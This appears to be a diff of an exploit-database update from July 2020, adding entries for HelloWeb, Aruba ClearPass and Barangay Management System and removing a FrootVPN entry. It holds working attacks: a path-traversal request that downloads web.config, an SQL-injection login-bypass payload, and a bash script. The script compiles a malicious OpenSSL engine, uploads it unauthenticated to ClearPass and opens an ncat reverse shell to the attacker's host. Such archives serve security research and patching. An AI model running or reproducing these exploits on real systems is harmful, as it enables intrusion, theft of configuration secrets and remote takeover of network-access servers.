DB: 2020-07-11

5 changes to exploits/shellcodes

FrootVPN 4.8 - 'frootvpn' Unquoted Service Path

Aruba ClearPass Policy Manager 6.7.0 - Unauthenticated Remote Command Execution

HelloWeb 2.0 - Arbitrary File Download

Barangay Management System 1.0 - Authentication Bypass

exploits/asp/webapps/48659.txt

@@ -0,0 +1,72 @@
+# Exploit Title: HelloWeb 2.0 - Arbitrary File Download
+# Date: 2020-07-09
+# Vendor Homepage: https://helloweb.co.kr/
+# Version: 2.0 [Latest] and previous versions
+# Exploit Author: bRpsd
+# Contact Author: cy[at]live.no
+# Google Dork: inurl:exec/file/download.asp
+# Type: WebApps / ASP
+-----------------------------------------------------
+
+
+
+Vulnerable code:
+######################################################################################################
+Dim filepath, filename, root_path, fso, root_folder, attachfile, objStream, strFile
+
+filepath = Request.QueryString("filepath")
+filename = Request.QueryString("filename")
+filepath = Replace(filepath,"/","\")
+
+root_path = server.MapPath("/")
+Set fso = CreateObject("Scripting.FileSystemObject")
+Set root_folder = fso.GetFolder(root_path)
+
+attachfile = root_path & filepath & "\" & filename
+
+Response.Clear
+Response.ContentType = "application/unknown"
+Response.AddHeader "Pragma", "no-cache"
+Response.AddHeader "Expires", "0"
+Response.AddHeader "Content-Transfer-Encoding", "binary"
+Response.AddHeader "Content-Disposition","attachment; filename = " & Server.URLPathEncode(filename)
+
+Set objStream = Server.CreateObject("ADODB.Stream")
+objStream.Open
+
+objStream.Type = 1
+objStream.LoadFromFile attachfile
+
+Response.BinaryWrite objStream.Read
+Response.Flush
+######################################################################################################
+
+Vulnerability: Arbitrary File Download
+Location: http://localhost/exec/file/download.asp
+Parameters: filename & filepath
+
+Proof of concept:
+
+GET /exec/file/download.asp?filepath=/&filename=web.config HTTP/1.1
+Host: localhost
+User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-US,en;q=0.5
+Accept-Encoding: gzip, deflate
+Connection: keep-alive
+Upgrade-Insecure-Requests: 1
+
+RESPONSE:
+HTTP/1.1 200 OK
+Cache-Control: private
+Pragma: no-cache
+Content-Type: application/unknown; Charset=utf-8
+Expires: 0,Thu, 09 Jul 2020 10:51:14 GMT
+Server:
+Content-Transfer-Encoding: binary
+Content-Disposition: attachment; filename = web.config
+Set-Cookie: ASPSESSIONIDQQCBDRBB=BEMDPMDDKFHNFKFMJGHIKKKI; path=/
+Access-Control-Allow-Origin: *
+x-xss-protection: 1; mode=block
+Date: Thu, 09 Jul 2020 10:51:14 GMT
+Connection: close

exploits/linux/remote/48661.sh

@@ -0,0 +1,49 @@
+# Exploit Title: Aruba ClearPass Policy Manager 6.7.0 - Unauthenticated Remote Command Execution
+# Date: 2020-07-06
+# Exploit Author: SpicyItalian
+# Vendor Homepage: https://www.arubanetworks.com/products/security/network-access-control/
+# Version: ClearPass 6.7.x prior to 6.7.13-HF, ClearPass 6.8.x prior to 6.8.5-HF, ClearPass 6.9.x prior to 6.9.1
+# Tested on: ClearPass 6.7.0
+# CVE: CVE-2020-7115
+
+Use of RHEL/CentOS 7.x is recommended to successfully generate the malicious OpenSSL engine.
+
+#!/usr/bin/env bash
+
+if [ "$#" -ne 4 ]; then
+echo "Usage: `basename $0` [remote host] [remote port] [local host] [local port]"
+exit 0
+fi
+cat <<EOF >>payload.c
+#include <unistd.h>
+__attribute__((constructor))
+static void init() {
+execl("/bin/sh", "sh", "-c", "rm -f /tmp/clientCertFile*.txt ; sleep 1 ; ncat $3 $4 -e /bin/sh", NULL);
+}
+EOF
+
+gcc -fPIC -c payload.c
+gcc -shared -o payload.so -lcrypto payload.o
+rm -f payload.c payload.o
+curl -X POST -F 'clientPassphrase=req -engine /tmp/clientCertFile*.txt' -F 'uploadClientCertFile=@./payload.so' -k https://$1:$2/tips/tipsSimulationUpload.action &>/dev/null &
+cat <<"EOF"
+
+/(\
+
+¡ !´\
+
+| )\ `.
+
+| `.) \,-,--
+
+( / /
+
+`'-.,;_/
+
+`----
+
+EOF
+
+printf "\nPleasea waita for your spicy shell...\n\n"
+
+ncat -v -l $3 $4

exploits/php/webapps/48660.txt

@@ -0,0 +1,42 @@
+# Exploit Title: Barangay Management System 1.0 - Authentication Bypass
+# Google Dork: N/A
+# Date: 2020-07-05
+# Exploit Author: BKpatron
+# Vendor Homepage: https://www.sourcecodester.com/php/13484/barangay-management-system.html
+# Software Link:  https://www.sourcecodester.com/sites/default/files/download/antiokz/barangay_1.zip
+# Version: v1.0
+# Tested on: Win 10
+# CVE: N/A
+# my website: bkpatron.com
+
+# Vulnerability: Attacker can bypass login page and access to dashboard page
+# vulnerable file : index.php
+# Parameter & Payload: '=''or'
+# Proof of Concept:
+http://localhost/Barangay/adminlogin.php
+
+POST /Barangay/adminlogin.php HTTP/1.1
+Host: localhost
+User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-US,en;q=0.5
+Accept-Encoding: gzip, deflate
+Content-Type: application/x-www-form-urlencoded
+Content-Length: 74
+Referer: http://localhost/Barangay/
+Cookie: PHPSESSID=jt0a3e89ukmktgtuoedjqmktge
+Connection: keep-alive
+Upgrade-Insecure-Requests: 1
+admin_name=%27%3D%27%27or%27&admin_pass=%27%3D%27%27or%27&adminlogin=Login: undefined
+
+HTTP/1.1 200 OK
+Date: Sat, 04 Jul 2020 20:35:25 GMT
+Server: Apache/2.4.39 (Win64) PHP/7.2.18
+X-Powered-By: PHP/7.2.18
+Expires: Thu, 19 Nov 1981 08:52:00 GMT
+Cache-Control: no-store, no-cache, must-revalidate
+Pragma: no-cache
+Content-Length: 3638
+Keep-Alive: timeout=5, max=100
+Connection: Keep-Alive
+Content-Type: text/html; charset=UTF-8

exploits/windows/local/48657.txt

@@ -1,40 +0,0 @@
-# Exploit	: FrootVPN 4.8 - 'frootvpn' Unquoted Service Path
-# Date		: 2020-07-09
-# Author	: v3n0m
-# Vendor	: https://frootvpn.com/
-# App Link	: https://frootvpn.com/en/download-client?platform=win
-# Version	: 4.8
-# Tested on	: Windows 10 Pro build 19041.329
-# Credits	: YOGYACARDERLINK, bejo6, Ika Atikasari
-
-# PoC:
-
-Microsoft Windows [Version 10.0.19041.329]
-(c) 2020 Microsoft Corporation. All rights reserved.
-
-C:\Users\HP>wmic service get name,pathname,startmode,StartName | findstr "FrootVPN"
-FrootVPN "C:\Program Files\FrootVPN\vpn.service.exe" Manual     LocalSystem           
-
-C:\Users\HP>sc qc frootvpn
-[SC] QueryServiceConfig SUCCESS
-
-SERVICE_NAME: frootvpn
-        TYPE               : 10  WIN32_OWN_PROCESS
-        START_TYPE         : 3   DEMAND_START
-        ERROR_CONTROL      : 1   NORMAL
-        BINARY_PATH_NAME   : "C:\Program Files\FrootVPN\vpn.service.exe"
-        LOAD_ORDER_GROUP   :
-        TAG                : 0
-        DISPLAY_NAME       : FrootVPN
-        DEPENDENCIES       :
-        SERVICE_START_NAME : LocalSystem
-
-C:\Users\HP>
-
-
-# Security Risk
-
-A successful attempt would require the local user to be able to insert their code 
-in the system root path undetected by the OS or other security applications 
-where it could potentially be executed during application startup or reboot. 
-If successful, the local user's code would execute with the elevated privileges of the application.

files_exploits.csv

@@ -11120,7 +11120,6 @@ id,file,description,date,author,type,platform,port
 48625,exploits/windows/local/48625.txt,"KiteService 1.2020.618.0 - Unquoted Service Path",2020-06-26,"Marcos Antonio León",local,windows,
 48628,exploits/windows/local/48628.py,"RM Downloader 2.50.60 2006.06.23 - 'Load' Local Buffer Overflow (EggHunter) (SEH) (PoC)",2020-07-01,"Paras Bhatia",local,windows,
 48644,exploits/hardware/local/48644.c,"Sony Playstation 4 (PS4) < 7.02 / FreeBSD 9 / FreeBSD 12 - 'ip6_setpktopt' Kernel Local Privilege Escalation (PoC)",2020-03-21,TheFloW,local,hardware,
-48657,exploits/windows/local/48657.txt,"FrootVPN 4.8 - 'frootvpn' Unquoted Service Path",2020-07-09,v3n0m,local,windows,
 1,exploits/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow",2003-03-23,kralor,remote,windows,80
 2,exploits/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote",2003-03-24,RoMaNSoFt,remote,windows,80
 5,exploits/windows/remote/5.c,"Microsoft Windows 2000/NT 4 - RPC Locator Service Remote Overflow",2003-04-03,"Marcin Wolak",remote,windows,139
@@ -18210,6 +18209,7 @@ id,file,description,date,author,type,platform,port
 48587,exploits/multiple/remote/48587.py,"SOS JobScheduler 1.13.3 - Stored Password Decryption",2020-06-15,"Sander Ubink",remote,multiple,
 48620,exploits/hardware/remote/48620.txt,"mySCADA myPRO 7 - Hardcoded Credentials",2020-06-25,"Emre ÖVÜNÇ",remote,hardware,
 48650,exploits/xml/remote/48650.txt,"Microsoft Windows mshta.exe 2019 - XML External Entity Injection",2020-07-07,hyp3rlinx,remote,xml,
+48661,exploits/linux/remote/48661.sh,"Aruba ClearPass Policy Manager 6.7.0 - Unauthenticated Remote Command Execution",2020-07-10,SpicyItalian,remote,linux,
 6,exploits/php/webapps/6.php,"WordPress Core 2.0.2 - 'cache' Remote Shell Injection",2006-05-25,rgod,webapps,php,
 44,exploits/php/webapps/44.pl,"phpBB 2.0.5 - SQL Injection Password Disclosure",2003-06-20,"Rick Patel",webapps,php,
 47,exploits/php/webapps/47.c,"phpBB 2.0.4 - PHP Remote File Inclusion",2003-06-30,Spoofed,webapps,php,
@@ -42908,4 +42908,6 @@ id,file,description,date,author,type,platform,port
 48653,exploits/hardware/webapps/48653.txt,"BSA Radar 1.6.7234.24750 - Cross-Site Request Forgery (Change Password)",2020-07-08,"William Summerhill",webapps,hardware,
 48655,exploits/php/webapps/48655.php,"PHP 7.4 FFI - 'disable_functions' Bypass",2020-07-07,"hunter gregal",webapps,php,
 48656,exploits/php/webapps/48656.txt,"Wordpress Plugin Powie's WHOIS Domain Check 0.9.31 - Persistent Cross-Site Scripting",2020-07-09,mqt,webapps,php,
+48659,exploits/asp/webapps/48659.txt,"HelloWeb 2.0 - Arbitrary File Download",2020-07-10,bRpsd,webapps,asp,
 48658,exploits/php/webapps/48658.txt,"Savsoft Quiz 5 - Persistent Cross-Site Scripting",2020-07-09,th3d1gger,webapps,php,
+48660,exploits/php/webapps/48660.txt,"Barangay Management System 1.0 - Authentication Bypass",2020-07-10,BKpatron,webapps,php,